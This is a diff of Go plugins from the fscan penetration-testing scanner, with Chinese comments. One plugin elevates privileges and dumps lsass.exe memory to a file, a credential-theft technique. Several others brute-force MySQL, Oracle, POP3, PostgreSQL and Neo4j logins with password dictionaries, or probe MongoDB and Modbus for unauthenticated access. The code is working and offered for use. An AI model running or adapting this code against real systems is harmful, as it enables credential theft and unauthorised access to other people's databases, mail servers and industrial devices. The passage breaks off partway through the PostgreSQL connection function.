err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
func MiniDump(info *Common.HostInfo) (err error) {
// 先检查管理员权限
if !IsAdmin() {
Common.LogError("需要管理员权限才能执行此操作")
return fmt.Errorf("需要管理员权限才能执行此操作")
}
pm, err := NewProcessManager()
if err != nil {
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
return fmt.Errorf("初始化进程管理器失败: %v", err)
}
// 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe")
if err != nil {
Common.LogError(fmt.Sprintf("查找进程失败: %v", err))
return fmt.Errorf("查找进程失败: %v", err)
}
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
// 提升权限
if err := pm.ElevatePrivileges(); err != nil {
Common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return fmt.Errorf("提升权限失败: %v", err)
}
Common.LogSuccess("成功提升进程权限")
// 创建输出路径
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
// 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath)
Common.LogError(fmt.Sprintf("进程转储失败: %v", err))
return fmt.Errorf("进程转储失败: %v", err)
}
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
return nil
}

9
Plugins/MiniDumpUnix.go Normal file
View File

@ -0,0 +1,9 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/Common"
func MiniDump(info *Common.HostInfo) (err error) {
return nil
}

121
Plugins/Modbus.go Normal file
View File

@ -0,0 +1,121 @@
package Plugins
import (
"encoding/binary"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"time"
)
// ModbusScan 执行 Modbus 服务扫描
func ModbusScan(info *Common.HostInfo) error {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 尝试建立连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil {
return err
}
defer conn.Close()
// 构造Modbus TCP请求包 - 读取设备ID
request := buildModbusRequest()
// 设置读写超时
conn.SetDeadline(time.Now().Add(timeout))
// 发送请求
_, err = conn.Write(request)
if err != nil {
return fmt.Errorf("发送Modbus请求失败: %v", err)
}
// 读取响应
response := make([]byte, 256)
n, err := conn.Read(response)
if err != nil {
return fmt.Errorf("读取Modbus响应失败: %v", err)
}
// 验证响应
if isValidModbusResponse(response[:n]) {
// 获取设备信息
deviceInfo := parseModbusResponse(response[:n])
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": port,
"service": "modbus",
"type": "unauthorized-access",
"device_id": deviceInfo,
},
}
Common.SaveResult(result)
// 控制台输出
Common.LogSuccess(fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port))
if deviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
}
return nil
}
return fmt.Errorf("非Modbus服务或访问被拒绝")
}
// buildModbusRequest 构建Modbus TCP请求包
func buildModbusRequest() []byte {
request := make([]byte, 12)
// Modbus TCP头部
binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符
binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符
binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度
request[6] = 0x01 // 单元标识符
// Modbus 请求
request[7] = 0x01 // 功能码: Read Coils
binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址
binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量
return request
}
// isValidModbusResponse 验证Modbus响应是否有效
func isValidModbusResponse(response []byte) bool {
if len(response) < 9 {
return false
}
// 检查协议标识符
protocolID := binary.BigEndian.Uint16(response[2:])
if protocolID != 0 {
return false
}
// 检查功能码
funcCode := response[7]
if funcCode == 0x81 { // 错误响应
return false
}
return true
}
// parseModbusResponse 解析Modbus响应获取设备信息
func parseModbusResponse(response []byte) string {
if len(response) < 9 {
return ""
}
unitID := response[6]
return fmt.Sprintf("Unit ID: %d", unitID)
}

126
Plugins/Mongodb.go Normal file
View File

@ -0,0 +1,126 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
isUnauth, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("MongoDB %v %v", target, err)
Common.LogError(errlog)
} else if isUnauth {
// 记录控制台输出
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
// 保存未授权访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mongodb",
"type": "unauthorized-access",
"protocol": "mongodb",
},
}
Common.SaveResult(result)
}
return err
}
// MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(info *Common.HostInfo) (bool, error) {
msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 尝试OP_MSG查询
reply, err := checkMongoAuth(realhost, msgPacket)
if err != nil {
// 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(realhost, queryPacket)
if err != nil {
return false, err
}
}
// 检查响应结果
if strings.Contains(reply, "totalLinesWritten") {
return true, nil
}
return false, nil
}
// checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(address string, packet []byte) (string, error) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
// 设置超时时间
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return "", err
}
// 发送查询包
if _, err := conn.Write(packet); err != nil {
return "", err
}
// 读取响应
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[:count]), nil
}
// createOpMsgPacket 创建OP_MSG查询包
func createOpMsgPacket() []byte {
return []byte{
0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
0x00, 0x00, 0x00, 0x00, // flagBits
// sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
}
}
// createOpQueryPacket 创建OP_QUERY查询包
func createOpQueryPacket() []byte {
return []byte{
0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
0x00, 0x00, 0x00, 0x00, // flags
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
0x00, 0x00, 0x00, 0x00, // numberToSkip
0x01, 0x00, 0x00, 0x00, // numberToReturn
// query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
}
}

144
Plugins/MySQL.go Normal file
View File

@ -0,0 +1,144 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["mysql"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := MysqlConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("MySQL %s %v %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mysql",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("MySQL %s %v %v %v", target, user, pass, err)
Common.LogError(errMsg)
if strings.Contains(err.Error(), "Access denied") {
break // 认证失败,尝试下一个密码
}
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
tmperr = err
if !strings.Contains(err.Error(), "Access denied") {
continue
}
}
continue
}
break
}
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// MysqlConn 尝试MySQL连接
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mysql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功,只返回结果,不打印日志
return true, nil
}

199
Plugins/Neo4j.go Normal file
View File

@ -0,0 +1,199 @@
package Plugins
import (
"fmt"
"github.com/neo4j/neo4j-go-driver/v4/neo4j"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
func Neo4jScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 首先测试无认证访问和默认凭证
initialChecks := []struct {
user string
pass string
}{
{"", ""}, // 无认证
{"neo4j", "neo4j"}, // 默认凭证
}
Common.LogDebug("尝试默认凭证...")
for _, check := range initialChecks {
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", check.user, check.pass))
flag, err := Neo4jConn(info, check.user, check.pass)
if flag && err == nil {
var msg string
if check.user == "" {
msg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
Common.LogSuccess(msg)
// 保存结果 - 无认证访问
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
} else {
msg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s", target, check.user, check.pass)
Common.LogSuccess(msg)
// 保存结果 - 默认凭证
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "default-credentials",
"username": check.user,
"password": check.pass,
},
}
Common.SaveResult(result)
}
return err
}
}
totalUsers := len(Common.Userdict["neo4j"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["neo4j"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := Neo4jConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
msg := fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s", target, user, pass)
Common.LogSuccess(msg)
// 保存结果 - 成功爆破
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("Neo4j服务 %s 尝试失败 用户名: %s 密码: %s 错误: %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// Neo4jConn 尝试 Neo4j 连接
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 构造Neo4j URL
uri := fmt.Sprintf("bolt://%s:%s", host, port)
// 配置驱动选项
config := func(c *neo4j.Config) {
c.SocketConnectTimeout = timeout
}
var driver neo4j.Driver
var err error
// 尝试建立连接
if user != "" || pass != "" {
// 有认证信息时使用认证
driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config)
} else {
// 无认证时使用NoAuth
driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config)
}
if err != nil {
return false, err
}
defer driver.Close()
// 测试连接
err = driver.VerifyConnectivity()
if err != nil {
return false, err
}
return true, nil
}

View File

@ -4,7 +4,7 @@ import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
"gopkg.in/yaml.v3"
"net"
"strconv"
@ -14,18 +14,59 @@ import (
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error {
func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
common.LogSuccess(result)
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
// 保存结果
details := map[string]interface{}{
"port": info.Ports,
}
// 添加有效的 NetBIOS 信息
if netbios.ComputerName != "" {
details["computer_name"] = netbios.ComputerName
}
if netbios.DomainName != "" {
details["domain_name"] = netbios.DomainName
}
if netbios.NetDomainName != "" {
details["netbios_domain"] = netbios.NetDomainName
}
if netbios.NetComputerName != "" {
details["netbios_computer"] = netbios.NetComputerName
}
if netbios.WorkstationService != "" {
details["workstation_service"] = netbios.WorkstationService
}
if netbios.ServerService != "" {
details["server_service"] = netbios.ServerService
}
if netbios.DomainControllers != "" {
details["domain_controllers"] = netbios.DomainControllers
}
if netbios.OsVersion != "" {
details["os_version"] = netbios.OsVersion
}
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: details,
}
Common.SaveResult(scanResult)
return nil
}
return errNetBIOS
}
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" {
@ -40,12 +81,12 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
@ -84,16 +125,16 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
return
}
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
@ -229,7 +270,7 @@ func (info *NetBiosInfo) String() (output string) {
}
if text == "" {
} else if info.DomainControllers != "" {
output = fmt.Sprintf("[+] DC:%-24s", text)
output = fmt.Sprintf("DC:%-24s", text)
} else {
output = fmt.Sprintf("%-30s", text)
}

136
Plugins/Oracle.go Normal file
View File

@ -0,0 +1,136 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
func OracleScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["oracle"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
// 执行Oracle连接
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := OracleConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
// 等待结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "oracle",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
// 处理错误情况
if err != nil {
errMsg := fmt.Sprintf("Oracle %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// OracleConn 尝试Oracle连接
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
username, password, host, port)
// 建立数据库连接
db, err := sql.Open("oracle", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
return true, nil
}

187
Plugins/POP3.go Normal file
View File

@ -0,0 +1,187 @@
package Plugins
import (
"bufio"
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"time"
)
func POP3Scan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["pop3"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["pop3"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
isTLS bool
}, 1)
go func(user, pass string) {
success, isTLS, err := POP3Conn(info, user, pass)
select {
case done <- struct {
success bool
err error
isTLS bool
}{success, err, isTLS}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v", target, user, pass)
if result.isTLS {
successMsg += " (TLS)"
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "pop3",
"username": user,
"password": pass,
"type": "weak-password",
"tls": result.isTLS,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("POP3服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
func POP3Conn(info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 首先尝试普通连接
conn, err := net.DialTimeout("tcp", addr, timeout)
if err == nil {
if flag, err := tryPOP3Auth(conn, user, pass, timeout); err == nil {
return flag, false, nil
}
conn.Close()
}
// 如果普通连接失败尝试TLS连接
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig)
if err != nil {
return false, false, fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
success, err = tryPOP3Auth(conn, user, pass, timeout)
return success, true, err
}
func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
reader := bufio.NewReader(conn)
conn.SetDeadline(time.Now().Add(timeout))
// 读取欢迎信息
_, err := reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
}
// 发送用户名
conn.SetDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user)))
if err != nil {
return false, fmt.Errorf("发送用户名失败: %v", err)
}
// 读取用户名响应
conn.SetDeadline(time.Now().Add(timeout))
response, err := reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取用户名响应失败: %v", err)
}
if !strings.Contains(response, "+OK") {
return false, fmt.Errorf("用户名无效")
}
// 发送密码
conn.SetDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass)))
if err != nil {
return false, fmt.Errorf("发送密码失败: %v", err)
}
// 读取密码响应
conn.SetDeadline(time.Now().Add(timeout))
response, err = reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取密码响应失败: %v", err)
}
if strings.Contains(response, "+OK") {
return true, nil
}
return false, fmt.Errorf("认证失败")
}

131
Plugins/Postgres.go Normal file
View File

@ -0,0 +1,131 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
maxRetries := Common.MaxRetries
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["postgresql"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := PostgresConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "postgresql",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("PostgreSQL服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// PostgresConn 尝试PostgreSQL连接
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
user, pass, info.Host, info.Ports,
)
// 建立数据库连接
db, err := sql.Open("postgres", connStr)
